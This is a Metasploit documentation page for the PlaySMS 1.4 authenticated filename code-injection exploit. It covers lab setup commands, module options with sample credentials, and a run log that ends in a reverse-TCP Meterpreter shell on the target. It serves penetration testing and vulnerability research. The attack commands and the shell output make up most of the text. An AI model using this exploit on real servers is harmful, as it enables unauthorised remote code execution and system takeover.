documentation/modules/exploit/multi/http/playsms_filename_exec.md
This module exploits a code injection vulnerability within an authenticated file upload feature in PlaySMS v1.4. This issue is caused by improper file name handling in sendfromfile.php file. Authenticated Users can upload a file and rename the file with a malicious payload. Additional information and vulnerabilities can be viewed on Exploit-DB 42044.
Available at Exploit-DB
wget https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gztar -xvf 577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gzmv playsms-1.4/web/* /var/www/html/cp /var/www/html/config-dist.php /var/www/html/config.phpchown -R www-data:www-data /var/www/html/use exploit/multi/http/playsms_filename_execset rport <port>set rhost <ip>set targeturi SecreTSMSgatwayLoginset username touhidset password dianacheck[*] 10.22.1.10:80 The target appears to be vulnerable.
set lport <port>set lhost <ip>exploitmsf exploit(multi/http/playsms_filename_exec) > run
[*] Started reverse TCP handler on 10.22.1.3:4444
[+] X-CSRF-Token for login : 13bce9776cfc270a3779e8b557330cc2
[*] Trying to Login ......
[+] Authentication successful : [ touhid:diana ]
[+] X-CSRF-Token for upload : 2780d48dc11a482a58d8a95ad873c6cc
[*] Trying to upload file with malicious Filename Field....
[*] Sending stage (37775 bytes) to 10.22.1.15
[*] Sleeping before handling stage...
[*] Meterpreter session 1 opened (10.22.1.3:4444 -> 10.22.1.15:38814) at 2018-04-08 13:45:34 +0530
meterpreter >